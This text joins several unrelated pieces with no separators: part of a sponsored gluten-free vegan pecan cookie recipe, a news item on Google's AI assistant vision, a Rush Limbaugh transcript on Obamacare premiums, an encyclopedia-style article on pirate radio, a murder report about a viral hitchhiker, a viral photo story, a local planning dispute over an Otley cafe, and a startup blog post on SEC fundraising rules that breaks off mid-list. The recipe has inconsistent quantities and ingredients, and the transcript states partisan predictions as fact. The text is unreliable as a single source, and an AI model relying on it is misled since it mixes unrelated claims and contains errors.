3/4 cup + 2 tablespoons Bob's Red Mill Gluten Free 1-to-1 Baking Flour (124g)
1/2 cup coconut sugar (77g)
1 tsp baking soda (6g)
3/8 tsp salt (4g)
1/2 tsp cinnamon (2g) heaped
1/2 cup maple syrup (137g)
2 tbsp plain, unsweetened nondairy milk (16g)
2 tbsp coconut oil (31g) warm or room temperature
2 tsp vanilla extract (80g) For the maple-candied pecans: 1 tbsp maple syrup (17g)
1/2 tbsp coconut oil (8g)
1/2 cup whole pecans (57g)
pinch of salt Instructions For the maple-candied pecans: Add the maple syrup, coconut oil, pecans, and salt to a pan. Turn the heat to medium-low and cook the pecans, stirring frequently but not constantly, until the maple syrup is thickened onto the pecans, about 5 to 7 minutes. Immediately remove the candied pecans from the pan and transfer them to a plate or bowl to cool. Once cool enough to handle, roughly chop the candied pecans and set aside. For the vegan maple pecan cookies: In a dry skillet, toast the pecans over medium heat, stirring or tossing them frequently. Toast for 4-5 minutes or until they start to turn golden brown and become fragrant. Remove the pecans from the pan immediately and transfer them into a food processor. Pulse the food processor until the pecans form a fine crumb. (Warning: it will smell amazing). In a mixing bowl, stir together the oats, gluten-free flour, coconut sugar, baking soda, salt, and cinnamon. Transfer the dry mixture to the food processor and pulse to combine. Add the maple syrup, nondairy milk, coconut oil, and vanilla extract, and blend until very smooth. Scrape the mixture out of the food processor and return it to the mixing bowl. Fold in the chopped candied pecans. Set the dough in the fridge to chill for 10 minutes. Meanwhile, preheat the oven to 350 degrees Fahrenheit and lightly grease two baking sheets. Take about 1 and 1/2 tablespoons of dough at a time (or more or less, depending on what size you want your cookies to be), roll into a ball, then flatten slightly as you place it on the baking sheet. These cookies only tend to spread a little bit, so the actual size will not be a whole lot larger. This dough can be very sticky. You may need to stop to clean your hands partway through. Bake for 9-11 minutes or until the edges of the cookies are just starting to lightly brown. Take care not to overcook - they can dry out easily. If using two baking sheets, switch their positions halfway through baking. For slightly flatter, chewier cookies, press down on each of the cookies with a fork right when they come out of the oven. Let the cookies cool for a couple of minutes before carefully removing them with a spatula, and transferring them to a cooling rack to cool completely. Leftover cookies keep in an airtight container at room temperature for a couple of days. Unused raw cookie dough can be kept in the refrigerator or freezer and used later. Bring to room temperature before baking. Nutrition Facts Vegan Maple Pecan Cookies (Gluten-free) Amount Per Serving (1 cookie) Calories 140 Calories from Fat 72 % Daily Value* Total Fat 8g 12% Saturated Fat 1g 5% Sodium 90mg 4% Potassium 34mg 1% Total Carbohydrates 18g 6% Dietary Fiber 1g 4% Sugars 9g Protein 2g 4% Calcium 1% Iron 2% * Percent Daily Values are based on a 2000 calorie diet.
P.S. Bob’s Red Mill is offering a few coupons for their products, good for the month of November and beyond. You can print the coupons here.
I was selected for this opportunity as a member of CLEVER and the content and opinions expressed here are all my own.
Other holiday cookie recipes from the blog:
Vegan oatmeal raisin cookies
Vegan sugar cookies
Google CEO Sundar Pichai (Photo: Jeff Chiu, Associated Press)
SAN FRANCISCO — Google CEO Sundar Pichai says the next big evolution for technology is artificial intelligence.
"Looking to the future, the next big step will be for the very concept of the 'device' to fade away," Pichai wrote in the technology giant's annual founders' letter to shareholders.
His vision: Over time, computers, whatever shape they take, a mobile device in your hand or a mini computer on your wrist, "will be an intelligent assistant helping you through your day."
Google is far from alone. Artificial intelligence in which Google was a pioneer, is an increasingly crowded field. Facebook is staking its future on machine learning and is building a smart assistant called "M." Microsoft has thrown its hat in the ring. Even Amazon is betting big on AI with its new digital assistant Alexa that turns its Echo into indispensable digital hub in your home.
Pichai's letter touched on numerous priorities for Google, from improving search in the mobile age to the intensifying focus on cloud computing to compete with Amazon and Microsoft. But the overriding theme was the power of artificial intelligence.
Essentially Google envisions a super-smart assistant who will supply information to help with everyday tasks no matter what screen you are using, be it a phone, a watch or the dashboard in your car.
"You should be able to move seamlessly across Google services in a natural way, and get assistance that understands your context, situation, and needs— all while respecting your privacy and protecting your data," Pichai wrote in the letter.
Jackdaw Research analyst Jan Dawson says Google is playing up its role in the new way people will interact with technology, from focusing on one device to moving between a plethora of devices to access information in the cloud.
Google is also playing down the role it does not play, Dawson said. "Google is fundamentally not a device company, but there are at least half a dozen other references to devices in the letter and it's clear that devices are going to continue to have a fundamental role in our futures," he said.
This marks the first time anyone other than founders Larry Page and Sergey Brin has penned the annual letter outlining Google's mission.
Page and Brin wrote their first founders' letter in 2004 in which they famously warned: "Google is not a conventional company. We do not intend to become one."
The hand-off comes after last summer's sweeping reorganization that formed the parent company Alphabet and put Pichai in charge of Google. The new corporate structure was created to make the technology giant more innovative by separating Google's dominant search and advertising business from "moonshots" such as driverless cars and speedy Internet access.
"Since the majority of our big bets are in Google, I wanted to give him most of the bully-pulpit to reflect on Google’s accomplishments and share his vision,” Page wrote in an introduction.
Pichai picked up the founders' mantle, embracing Google's longstanding mission "to organize the world's information and make it universally accessible and useful."
"For us, technology is not about the devices or the products we build. Those aren't the end-goals," Pichai wrote in the letter posted Thursday. "Technology is a democratizing force, empowering people through information. Google is an information company. It was when it was founded, and it is today."
RUSH: This story on Obamacare premiums going up 25%? We need to stop for a second, because this is outrageous, and it ought to have everybody in this country up in arms.
By all rights, everybody in this country ought to be flipping mad and feeling betrayed and lied to by the Democrat Party and by Obama — and, by extension, Hillary Clinton ought to be in deep trouble because she’s out there advocating this thing. She’s out there defending it. She’s out there claiming Obama did the best he could. Obama’s a great guy. This is the best health care plan we could devise. Yes it needs to be tweaked and all that.
But people behind this need to be held accountable and to blame for the general damage they have done and continue to do to the greatest health care system in the world, which was ours. And this is just being treated with a glancing blow. The media’s covering it, but that’s it. There isn’t any outrage accompanying the coverage. There isn’t any explanation. It’s just, “Aw, shucks, isn’t it unfortunate? Man, Obama tried! Man, those insurance companies? Look at how mean they are. Look at how evil.
“These insurance companies, man, they just can’t stop gouging people,” and that’s the way this is being covered, when everything that’s happening here is by design. Obama did not fail. We’re on the way to single-payer, government-run health care sooner than anybody imagined. They’re so confident that’s where we’re headed that they could happily announce premium increases two weeks before an election. Who does that? This is like the unemployment rate going up five points two weeks before the election and being honest about it.
They’re out there saying they’re proudly, happily… I don’t know about proudly, happily, but they’re certainly without any reservation happily telling everybody that the Obamacare premiums are going up 25%. They don’t expect there to be any fallout at all from this. And I’m telling you, folks, there deserves to be. This is dereliction of duty. It’s worse than that because this is on purpose. This ought to be unacceptable. Let me give you some of the actual words from the Associated Press. “Obama Health Plan Hit by Double-Digit Premium Hikes.”
Now, this is as disingenuous and dishonest as everything the AP does. “Obama Health Plan Hit by Double-Digit Premium Hikes”? It’s not being “hit” by it; it’s causing them! “Premiums will go up sharply next year under President Barack Obama’s health care law, and many consumers will be down to just one insurer, the administration confirmed Monday. That’s sure to stoke another ‘Obamacare’ controversy days before a presidential election.
“Before taxpayer-provided subsidies, premiums for a midlevel benchmark plan will increase an average of 25% across the 39 states served by the federally run online market, according to a report from the Department of Health and Human Services.” It’s neither, in this case. “Some states will see much bigger jumps,” like, 116%, I think, in Arizona. A lot of states are seeing 80% premium increases. And then they say, “Well, this for those without subsidies.” Well, who the hell is paying the subsides? What do you mean, “those without subsidies”?
It’s another damned… Subsidies? It doesn’t have a prayer. If it has to be subsidized, then it has no relationship to market prices or forces whatsoever. If it has to be subsidized in order for people to use it, it’s already a disaster. “Moreover, about 1 in 5 consumers will only have plans from a single insurer to pick from,” you can say goodbye to competition, then, “after major national carriers such as UnitedHealth Group, Humana and Aetna scaled back their roles” because they have seen the handwriting on the wall and it’s a death sentence to stay involved in this.
“‘Consumers will be faced this year with not only big premium increases but also with a declining number of insurers participating, and that will lead to a tumultuous open enrollment period,’ said Larry Levitt, who tracks the health care law for the nonpartisan Kaiser Family Foundation. Republicans pounced on the numbers as a warning that insurance markets created by the 2010 health overhaul are teetering toward a ‘death spiral.’ Sign-up season starts Nov. 1, about a week before national elections in which the GOP remains committed to a full repeal.”
And then they quote Trump saying it’s over for Obamacare. Hillary wants to double down, make it more expensive. It’s not gonna work. All of this misses the point. This is the war on the middle class going nuclear. Obamacare is unaffordable and always has been unaffordable. Obamacare is unsustainable and always has been unsustainable. Obamacare was designed to cause panic and harm for millions of Americans in the hope that they would blame insurance companies for their plans and then turn to the government for a solution, for relief, which is exactly what’s happening.
The insurance companies are taking the hit. Consumers are asking the government to come in and fix it because, you see, “Obama tried, really tried. He was so compassionate. He worked so hard so people would have health insurance, worked so hard to insure the uninsured, these evil insurance companies.” I tried to tell these insurance companies before all this happened, if you’re getting in bed with Obama you’re gonna end up going out of business no matter what sweet selling stuff he’s talking to you right now. You’re gonna take the hit on this. “Well, we can’t not participate.” The insurance companies, you know what looped them in, what suckered them in was Obama and the mandate.
If you ran a business where the federal government was gonna make a law that every consumer had to buy your product, what would you do? You’d get in bed with the government and you’d pull up the covers and whatever they wanted you to do underneath you would do. What a deal. You’re in the health insurance business, and the government’s gonna pass a law making sure that everybody has to buy it. How in the world do you not participate in that? But as is always the case, the people that get in bed with government, they can turn you on at any time, and where you were once cronies, now you become the focal point of the bad guys, as the bad guys.
But folks, this is unacceptable. You know, people were saying before Obamacare became law, it can’t get any worse. Has it? I’ve been searching for ways to describe this. And I look at the way it’s being covered in the media, it’s being reported, but that’s it. Health care prices, health care insurance, insurance premiums going up 25% average. Some states it’s gonna be higher, and the number of people, companies you’ll have a chance to buy from are dwindling. This is the kind of failure that people do not profit from in the past. They do not win reelection. They are held accountable.
This is causing great damage. This is causing panic. You know how important health care is to people. The Democrats, in fact, have done that, too, been harping on this whole notion of health insurance and it’s incumbent on you as a lawyer, government has to provide it for you. They’ve been portraying doctors and hospitals and insurance companies as a bunch of people that want do nothing but kill you while soaking you and taking all your money, and they have been creating this panic that if you don’t have health insurance, you’re but one paycheck away from being bankrupt. They’ve been doing this for 30 years and then they come give us this?
It is unconscionable what has been done here, and this is just one slice of American life and culture and business, the economy, however you want to phrase it, that this administration has targeted. Because the aim is to replace as much of this with the government as possible. Some of you might be saying, “Why, Rush, why would they want that?” It’s power, folks. And if you don’t have this kind of power, if you don’t have a desire for it, it’s tough to explain it. Why would a bunch of bureaucrats want to be able to control your health care? It’s not that they want to control your health care. It’s that they want to control the way you live.
If they can tie every life decision you make to health care that they are paying for, then they can deny you certain things. They can tell you can’t eat that, drink that, can’t go there, can’t travel there, can’t have too many kids, can’t do this. They have total control over who you are and how you live based on how much your health care is gonna cost them. There will be death panels. There will be rationing. There will be decisions made on who gets treatment and who doesn’t, and it’s gonna be based on age. It’s gonna be how some bureaucrat values your life versus somebody else’s, who’s worth more in terms of getting treatment so they live longer, who does the country miss less if they die sooner.
These kinds of things are coming. Because they’re not gonna bust the budget on health care like they do for other things. They’re gonna use it to control as much of your behavior as they can. It’s the same objective behind climate change or global warming. It’s to control your behavior. It’s to guilt-trip you into behaving the way they want you to. And top of the list is you behave in ways that do not threaten their power, and you never vote against them. It’s insidious what’s being done here, all for the quest for power of a particular political party and everybody in it.
And the kicker here is that these are the people who get all the credit for having big hearts and compassion and understanding. These are the people claiming to be looking out for the little guy. They are destroying little guys everywhere. They’re doing it with immigration, amnesty, illegal immigration, open borders, refugees coming in from who knows where in whatever numbers. Now with health care, climate change, it’s got to stop.
It has to stop. College loans have become so burdensome that a college education may not be worth it depending what your degree is in and how much money you’re gonna earn in life, whether it’s enough to even pay off your loans and then have a career after that. Everything this party is touching is going down the tubes at one rate or another.
BREAK TRANSCRIPT
RUSH: To Obamacare, why would the Democrats want to stick with it themselves? Why is there no outrage on the Democrat side? Now, you might have a pocket here, a pocket there, stories where Democrats are worried about it from the standpoint of their reaction. I’ve seen a couple stories: Democrats worried about Obamacare. The premiums going up may affect down-ballot races.
Down-ballot races? What about people’s lives? Twenty-five, 35, 50% increases in premiums for something you’ve convinced people they’re gonna die if they don’t have? They’re gonna die or they’re gonna go bankrupt. You Democrats have done that. You have instilled panic in people over the concept of health insurance, and now look what it’s costing them. And your concern is the effect it’s gonna have on your reelection? What about your concern for these people?
What about your concern for the average, ordinary American citizen who’s facing these consequences and doesn’t have ways to write themselves a check like many of you in government apparently do? Why is the Regime tolerant of this? Why isn’t Obama outraged? Why isn’t he out there doing something to show people how mad he is? Why is it left to Trump to say we’re gonna change this? Why is it left to the Republicans to say this is unacceptable? Why did not the Democrats suffer the consequences of their actions and ideas on this?
This is just… It’s patently absurd here. This is incompetence, what they have done to the health care system, all for their own benefit. They don’t have the financial concerns the average American does. Paying for things is not a problem to these establishment types that are behind this kind of legislation. All this compassion they have for the little guy? Where is it today with the news that health insurance premiums are making the whole concept of having disposable income impossible?
These people are gonna be behind paycheck to paycheck. They’re never gonna get ahead, because the law requires them to have this product or pay a fine. This is one of the meanest and cruelest things that has been done to the people of this country, if you ask me. It’s just downright mean when you get down to it. It’s cruel; it’s insensitive. And they laugh about it and they chuckle about it. Obama’s legacy is destroying health care and family budgets. How’s all that hope and change working out for people?
Let’s go back. You know, Obama had a speech after he won a primary. I think this was up in Minnesota. It might have been his nomination victory speech. I don’t know. But it was one of those. It was close to it. He said, “Because if we’re willing to work for it and fight for it and believe in it then I’m absolutely certain generations from now we will be able to look back and tell our children that this was the moment when we began to provide care for the sick and good jobs for the jobless.
“This was the moment when the rise of the oceans began to slow and our planet began to heal. This was the moment when we ended a war and secured our nation and restored our image as the last best hope on earth.” None of that has come to pass! We are not providing care for the sick. We’re making it unaffordable. There aren’t good jobs for the jobless. There aren’t jobs period — and if you listen to the climate change kooks, it’s getting worse than ever out there. And we’ve only got a couple of decades before the sea levels eat us alive.
We haven’t ended any wars. Obama’s got this country in more wars than George Bush could ever dream of! And our image hasn’t been restored. We’re looked at as a has-been superpower, paper tiger. Now little thug dictators and would-be dictators in the Philippines can mouth off about our president. Nobody cares. And while all of this is going on, a guy who doesn’t have a single fingerprint on any of this mess is being portrayed as the greatest threat known to America and mankind, and that would be Donald Trump.
We are living the greatest threat. The greatest threat ever known to mankind is liberalism — totalitarianism, communism, take your pick — and they are running this country. We might have won the Cold War, but we actually didn’t. Communism has never been so prevalent and dominant in this country as it is today. College campuses, K-through-12 education, you can’t avoid it. Young little skull-full-of-mush Millennials don’t even know about Soviet communism! It’s not even taught!
The strict definition of a pirate radio station is a station that operates from sovereign territory without a broadcasting license, or just beyond the territorial waters of a sovereign nation from on board a ship or other marine structure with the intention of broadcasting to that nation without obtaining a broadcasting license from that nation (such as Radio Caroline before its present incarnation).
Cuba [ edit ]
Pirate radio by Cuban exiles [ edit ]
Unlike the sanctioned and fully licensed transmissions by the United States government, a number of groups in exile, mainly based in Florida, have attempted various offshore radio broadcasts to Cuba, from time to time. These stations are mainly short lived and sporadic in transmission times, but because their broadcasts are not licensed by any nation, their signals are considered to be from pirate radio stations and the USA has taken various physical and legal steps to close them down at different times.
Mexico [ edit ]
Pirate radio in Mexico [ edit ]
There are a number of pirate radio stations in Mexico. Radio Insurgente, the voice of the Zapatista movement, operated from 2003 to 2009. The station was unlicensed, but according to the San Andres Accords, the indigenous communities targeted by Radio Insurgente had the right to broadcast their own content. The most recent example of a true pirate radio station in Mexico is La Tremenda 106.5 in Nuevo Laredo, Tamaulipas. It broadcast international contemporary music and news in Spanish and English. It used the fictitious U.S. call sign "KLPR" on its logo. The station began operations in May 2006, was shut down in June 2008 by the federal police in a "violent" take over. It was suspected that the signal was also used for transmitting messages of members of organized crime. Today, there are several other pirate stations in Nuevo Laredo as well.
The border-blaster or other border stations in Mexico do not meet either above definitions of pirate radio station, however may be considered as such by some governments.
Border blasters [ edit ]
From the earliest days of the history of broadcasting, a number of radio stations licensed in Mexico, became known to the general public as border-blasters. This was due to their excessive use of power which was necessary to reach their intended audience in American cities far north of the border. The traditional border-blasters were AM radio stations; though there are numerous FM radio and even television stations along the border that broadcast to the U.S. from Mexico, the power of FM stations along the border is limited by a U.S.-Mexican agreement.
However, because these stations are licensed by the government of Mexico, they can only be classified as pirate radio stations in the same way that the British government classified Radio Luxembourg as a pirate radio station. Radio Luxembourg was a licensed station broadcasting with a power and on a frequency that the British authorities objected to, because the intended audience for its programs were located within the United Kingdom. The objection by the government of the United Kingdom to commercial broadcasts from Luxembourg, France and other countries, was primarily based upon its protection of the non-commercial BBC Radio monopoly. Also, the UK at the time required a license for radios, which was limited to UK stations; it still requires a license for television sets. However, the U.S. has never required a license to listen to broadcast radio or TV; today, it even issues routine licenses under the Brinkley Act, originally enacted to silence the border-blaster charlatan John R. Brinkley, for the operation of Mexican stations from studio facilities in the U.S.
United States of America [ edit ]
Land-based unlicensed broadcasts [ edit ]
In the United States, the term pirate radio implies the unlicensed broadcasting use of any part of the radio spectrum that is reserved for use by governmental, public or commercial licensees by the Federal Communications Commission. This includes the FM, AM and shortwave radio bands.
Compared to authoritarian systems of government which restrict access to the means of communication, the airwaves of the USA are relatively free from direct government censorship.[citation needed] As a result of this difference, the term pirate radio has a different interpretation than in countries where access to communication is limited.
In the United States, pirate radio is frequently, but not always, associated with anarchism, which considers governmental spectrum regulatory schemes as favoring the interests of large corporations, due to reasons such as high licensing costs. Therefore, some anarchists consider pirate radio transmissions to be a challenge to that authority.
Pirate radio is also in large part the resulting backlash from Federal Communications Commission's Title 47 CFR Part 15, which prohibits certain power broadcasting. NPR and the NAB convinced the FCC to eliminate the class D license in 1979. This kept all new low-power stations from getting a license, and bumped all of the old ones down to secondary status, forcing many more off the air since then. Despite this, an explosion of broadcast translators on FM, technically identical but rebroadcasting other stations, most part of religious broadcasting networks, has occurred since then. This further fueled pirate operators in the 1980s and 1990s.
In 1982, an organization of pirate radio monitoring enthusiasts was formed by Darren Leno. Known as the Association of Clandestine Radio Enthusiasts (ACE) the organization was and remains a very popular conduit for sharing information about North American pirate radio and other unusual radio transmissions.
Another such group, calling itself "The RPMRADIO Network" launched a series of projects aimed directly at the corporate radio media in central Texas. Responding to FCC raids of several pirate FM stations in the San Antonio-Austin area, RPMRADIO started by gathering grass roots support, then turned on 10 pirate FM radio stations across the entire area, with the promise to replace each station raided with 10 more stations. Fueled by remarks made by Alex Jones on his radio talk show, this "Ten for One" campaign is reported to have caused the FCC to rethink its approach to the fight that was developing between Pro-Corporate radio and Anti-Corporate radio forces.
Because of this severe lack of access, numerous pirate radio operators (such as Stephen Dunifer), as well as other groups petitioned the FCC for a new LPFM service. After many years of trying, this finally was passed around 2000, although it blocked former pirate operators from holding licenses. Lobbied by the commercial radio industry, the U.S. Congress intervened and limited the new service even further, though technical tests later proved this to be baseless, and the added restrictions were lifted.
Although this should mean that pirate radio has seen a decrease, most of the licensees are churches, colleges, and state or local government transportation departments, as the FCC requires the licensee to be a non-profit organization. Pirate radio also continues because legal open spots on the FM dial have been filled in since and because of the 1979 ruling, by both full-power and translator stations.
Part 15 of the FCC rules allows the use of spectrum without a license but emissions pursuant to this rule are not practical for broadcasting due to extremely restrictive power levels which limit range (range varies depending on frequency spectrum). Part 15 is intended to allow for operation of a broad range of electrical devices that emit radio energy either as an intended element of their operation (e.g. garage door openers, FM modulators for iPod auto use) or as a by-product of their operation. Despite the limited range possible under Part 15, some small broadcast stations are operated within its parameters, while others operate claiming to be Part 15 compliant but with signals exceeding what is permitted under the rule.
Because basic radio transmission equipment is relatively easy to obtain in the US and because it is relatively easy to hide, the Federal Communications Commission (FCC), which has the authority to regulate radio communications, sometimes has difficulty in finding and prosecuting offenders who transmit without a license. Triangulation may be used, but most frequently a spectrum analyzer is driven around the affected area, with a person monitoring where the suspect signal is highest, and another one looking for any obvious signs such as an antenna or small tower (like that used for amateur radio).
Hearing pirate radio stations in North America [ edit ]
Finding, identifying and even corresponding with pirate radio stations is, for many radio enthusiasts, itself a hobby. Most radio listeners in North America, however, will never hear a pirate station unless they seek one out.
Pirate radio stations on FM are often found towards the bottom of the FM broadcasting band, particularly between 87.9 MHz and 91.9 MHz, which is allocated to non-commercial educational, public and religious broadcasters. On mediumwave (AM), pirate radio stations are often found between 1610 kHz and 1710 kHz with the later frequency 1710 being far the most popular. On shortwave (SW), the most common frequencies to check for pirates in North America is the 6.8 to 7 MHz (42.86 metres-44.11 metres) range, with 6.855 MHz (43.76 m), 6.875 MHz (43.64 m), 6.925 MHz (43.32 m), 6.95 MHz (43.16 m) and 6.955 MHz (43.13 m) being most commonly used, and 6.925 MHz being by far the most commonly used frequency. Some stations will use "offset" or "split" frequencies, such as 6.876 MHz, 6.923 MHz, 6.962 MHz and 6.969 MHz, either to avoid interference from other stations or as part of the "image" of their particular station. Pirates can pop up anytime, but evenings, weekends and holidays are the best time to listen. Pirates operating on shortwave from North America often use single sideband modulation as an alternative to AM.
There are a wide variety of stations. Some just play music; others, like The Crystal Ship and Radio Free Speech are political ; KIPM produces its own science-fiction programming with radio plays reminiscent of old-time radio; WHYP is the James Brownyard memorial station, playing clips from an old Pennsylvania daytime AM station of that same name. Radio One recreated the sound of 1960s top-40 radio and played oldies with an echo chamber reverb effect behind the announcer much like WABC had done. The Voice of the Sea Cucumber was known for some very strange programming, its announcer calling himself "Dear Leader." There are also many stations that are specifically aimed to the pirate radio listening community; many are long-running gag stations such as WBNY, the Voice of the Rodent Revolution, with programming by its leader Commander Bunny, who frequently sends coded messages to operatives in the field, as well as instructions to Al Fansome to check his tire pressure. A few stations mysteriously appear once a year, such as WJFK, which is usually on the air around November 22. There are also stations that provide eclectic music programming, such as Wolverine Radio, WMPR, Liquid Radio (Simulcast of its FM broadcast), and The Crystal Ship plays classic hits outside of political programming.
Shortwave or HF pirate stations often coordinate their broadcasts to avoid interfering with each other. Pirate radio loggings are often reported on Internet forums, allowing potential listeners to know when a station is on the air.
Geographically, FM and mediumwave pirates tend to cluster in urban areas such as New York City, San Francisco, Toronto, and throughout Florida. However, pirate stations are active throughout all regions of North America. Shortwave pirates are widely dispersed throughout North America and can be heard hundreds and even thousands of miles from their location. Most shortwave pirates operate on the East Coast of the USA.
Differing somewhat from the pirate radio stereotype of "kids playing radio," there has been a growing trend towards ethnocentric pirate radio in North America. Usually these stations broadcast in native languages such as Spanish or Haitian Creole, but sometimes English, as in the case of a widely heard mediumwave pirate with a Jewish Orthodox format.
Pirate radio in Europe can often be heard in North America with a good shortwave radio and antenna. This is considered DXing. The 6.2 to 6.3 MHz (47.62-48.38 m) range is most commonly used.
Partial list of pirate radio stations in the United States [ edit ]
Stations from international waters [ edit ]
RXKR, aboard the SS City of Panama anchored off California, USA.[11]
Radio Free America, a short-lived religious station by Dr. Carl McIntire aboard the MV Columbus anchored off New Jersey, USA.[12]
See also [ edit ]
They met, an unlikely pair, in Times Square last Saturday night. One, a 73-year-old partner in a Rahway law firm and member of his hometown’s Chamber of Commerce, the other a 24-year-old itinerant with long hair and a penchant for upturning convention that had landed him a minor internet presence. Their rendezvous, most of it later spent in and around Joseph Galfy Jr.’s ranch-style house on Starlite Drive in Clark, would last about 24 hours, until sometime Sunday evening when, authorities said, their encounter turned violent after a sexual tryst. On Monday afternoon, Galfy, a partner at Kochanski, Baron and Galfy, was found dead in his bed, severely beaten, clothed only in underwear and socks, Union County Prosecutor Theodore Romankow said yesterday. Detectives later determined Caleb Lawrence McGillvary, better known by his online persona, "Kai the Hatchet Wielding Hitchhiker," had killed the man who was more than three times his age. At around 6:30 Thursday, McGillvary was arrested at the Greyhound Bus Terminal in Philadelphia by members of the Philadelphia Police Department, and has been charged in Galfy’s death, Romankow said in a statement. McGillvary will be processed in Philadelphia and returned to New Jersey in the coming days, Romankow said. Bail was previously set at $3 million and he will be lodged in the Union County Jail in Elizabeth, he said. During the earlier news conference in Elizabeth, Romankow did not indicate how authorities came to suspect McGillvary, who he said should be considered "armed and dangerous." Romankow also said authorities don’t yet know how the two came to meet in Times Square. They returned to Galfy’s home, detectives determined, where McGillvary spent the night. Romankow said Galfy, the attorney for the Green Brook land use board, drove McGillvary to the Rahway Train station Sunday morning, from where the younger man left for Asbury Park. McGillvary returned to Rahway later in the day. After exchanging text messages, Galfy picked him up and brought him back to his house. Romankow said the killing happened sometime that evening. In a Facebook entry Tuesday, McGillvary, posting under the name Caleb Kai Lawrence Yodhehwawheh, intimates he was drugged and sexually assaulted, but does not say where or when the incident took place. "what would you do if you woke up with a groggy head, metallic taste in your mouth, in a strangers house ... and started wretching, realizing that someone had drugged (and) raped ... you? what would you do?" the post reads. Romankow called the post "pretty much self-serving." An autopsy completed Tuesday determined Galfy died of blunt force trauma, the prosecutor said. He declined to comment on what was used to beat Galfy or say if anything was take from the house. He did say the killing, "was thought out." "He’s been known to use the back of a hatchet," Romankow said, a reference to McGillvary’s stopping a deadly attack earlier this year in California by pummeling a man with his hatchet, an event that gained McGillvary internet notoriety. After killing Galfy, the prosecutor said, McGillvary called a woman, whom Romankow identified only identify as "Fan 1," asking her to pick him up. She couldn’t. McGillvary later returned to the train station and again traveled to Asbury Park, where he and the woman met for lunch on Monday.
The woman, whom authorities have interviewed, told detectives McGillvary had cut his hair. At about the same time, Clark police discovered Galfy’s body. Officers had gone to his home after he failed to show up for work or answer his phone. McGillvary and the woman spent the rest of the day in Philadelphia, before making their way her hometown of Glassboro, Romankow said. Although she wanted McGillvary to stay at her house, her family resisted and she called another woman, identified by the prosecutor as "Fan 2," who let McGillvary stay at her house, also in Glassboro. The other woman has also been interviewed, Romankow said. Neither is facing charges, he said. On Tuesday, McGillvary left for Philadelphia, indicating he could be going to see friends in Georgia, the prosecutor said. McGillvary, who is also known as Kai Lawrence, Caleb Kai Lawrence and Kai Nicodemus, lists Eureka, Calif., as his hometown on his Facebook page. But he is by all accounts without a known address, the prosecutor said. His freewheeling disposition earned him some fame and several television appearances in February after he was picked up while hitchhiking by a man who then nearly killed a utility worker. McGillvary used the hachet to thwart the attacker.
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McGillvary later gave a rambling, profanity-laced interview to a Fresno, Calif., television station about the incident. The interview went viral, with one version viewed more than 3.9 million times on YouTube. He later appeared on ABC’s "Jimmy Kimmel Live!" Kimmel asked him what people were saying to him since the Feb. 1 incident. "Hey, you’re Kai, that dude with the hatchet," he responded. Romankow said McGillvary, who said in his TV appearance he prefers to be called "home-free" instead of homeless, traded on his newfound celebrity to meet fans across the country. It is not known whether Galfy was aware of McGillvary’s fame. News that Galfy’s suspected killer had been arrested brought little comfort for his longtime friend and neighbor, former Clark Mayor Robert Ellenport. "There’s no closure in this type of grisly murder. You are never going to have closure (but) this is a step in the right direction," Ellenport said last night, hours after attending Galfy’s wake in Watchung. "Knowing the kind of person Joe was and his generosity, it’s unfathomable," said Ellenport, who had known Galfy for more than 25 years, the last decade or so as next-door neighbors. "It’s just tragic."
RELATED COVERAGE
It could just be a trick of the light. But the terrifying face in this picture could be something more sinister.
At first glance, there is nothing untoward and the image has divided the internet between the people who can see it, and those who cannot.
Once it is pointed out, however, it is difficult to take your eyes away from the face that suddenly becomes clear.
Can you see it? The scary face is well hidden, but once you see it a shiver will pass down your spine
The origins of the picture are unclear, but it's possible that it was actually created by someone hiding behind the cushion while being photographed.
Or it could be something that somebody has been created using Photoshop.
However it was made, it is hard to look away or get the image out of your head.
If you're still struggling to spot it look to the left of the picture, underneath the cushion on the plain brown sofa.
Twitter user Ryan Evans wrote: 'It genuinely made me Jump when I saw it, be warned!'
Another, @casioroee, wrote 'Embarassingly, it really make me jump.'
Dunnies on Bridge Street in Otley could be ripped down and proposals to demolish the cafe are part of an application to develop the area and build a large care home on the riverside.
The loss of the greasy spoon would be particularly mourned by the prolific cycling and biking communities, who frequent the institution that is located on the banks of the River Wharfe.
Now Otley and Yeadon Lib Dem councillors Colin Campbell, Ryk Downes and Sandy Lay are calling on planners to resist the application.
Coun Downes said: “Dunnies is a landmark building in Otley, which is why I asked late last year for it to be listed.
“Its removal would be like losing an old friend.”
Coun Lay said: “Generations of Otley residents along with thousands of cyclists have fond memories of a mug of tea and bacon sandwich at Dunnies.
“This is a building which is famous throughout the county and beyond.
“Its loss would leave a hole on the street and in the heart of the town.”
Coun Campbell added: “At the moment there are no agreed plans for the old school site on Bridge Street; though none of us would miss the adjacent derelict school building, it would be premature to allow the thriving cafe to be removed.”
In a statement at the time of the original applicationCoun Downes said that he had no problem with the principle of a care home being built where the former school annexe was.
However he added: “It is an important site as you come over the River Wharfe and approach the town centre.
“The previous application by another developer failed because it would block out sunlight to houses on Manor Street and was too close to them and it appears that developer was unwilling to move the building around on the site.
“The latest proposal I feel is too big and is not sympathetic to the area and is not an appropriate size for the entrance to Otley town centre.
“As I have said I would support what I believe to be a suitable plan, but the current one is not.”
Along with his brother Michael, who owns and leases out the neighbouring Wharfe View News, Paul Davies would be looking to sell up should the plan progress.
A previous application to build a dementia care home on the former school site was turned down.
General Solicitation is the marketing of a securities offering (a fundraise) publicly in the open market. The Securities Act of 1933 (which still governs much of securities law in the US) prohibits "general solicitation" or other forms of advertising in securities offerings pursuant to Rule 506 and Rule 144A which are the two most common forms of securities offerings for private companies.
In response to the JOBS Act, the SEC has lifted the ban on General Solicitation and on September 23, 2013, companies can start to use public marketing in their fundraising efforts with some important conditions. I blogged about how important this could be for startups when that news came out.
First and foremost, if you want to use General Solicitation, you must limit your investors to accredited investors (investors that satisfy net worth or annual income requirements) and you must undertake some specific efforts to make sure that your investors are in fact accredited. This is above and beyond what is typically required in a securities offering where General Solicitation is not used.
But the SEC has not stopped there. They have put foreward additional rules for public comment. If anyone in the SEC cares to read this blog, they can consider this my public comment. I am not planning to send in a formal comment nor is USV or anyone else at USV.
It is my opinion, and that of those who we do business with, including our securities lawyers, that these proposed rules effectively make General Solicitation a non-starter for startup companies. If the SEC's intention, with these proposed additional rules, is to neuter General Solicitation to the point that it is legal but nobody avails themselves of it, they will succeed.
Here are a few of the most problematic rules:
1) A 15 day filing period for Form D before the company initiates its fundraising process (and before the company even knows if it will be able to raise capital). Typically we file for Form D after the raise has been completed. To do so before the company intitiates a fundraise is not realistic and ignores how startups raise capital. If there was one rule that I would most like to see the SEC remove, this would be it.
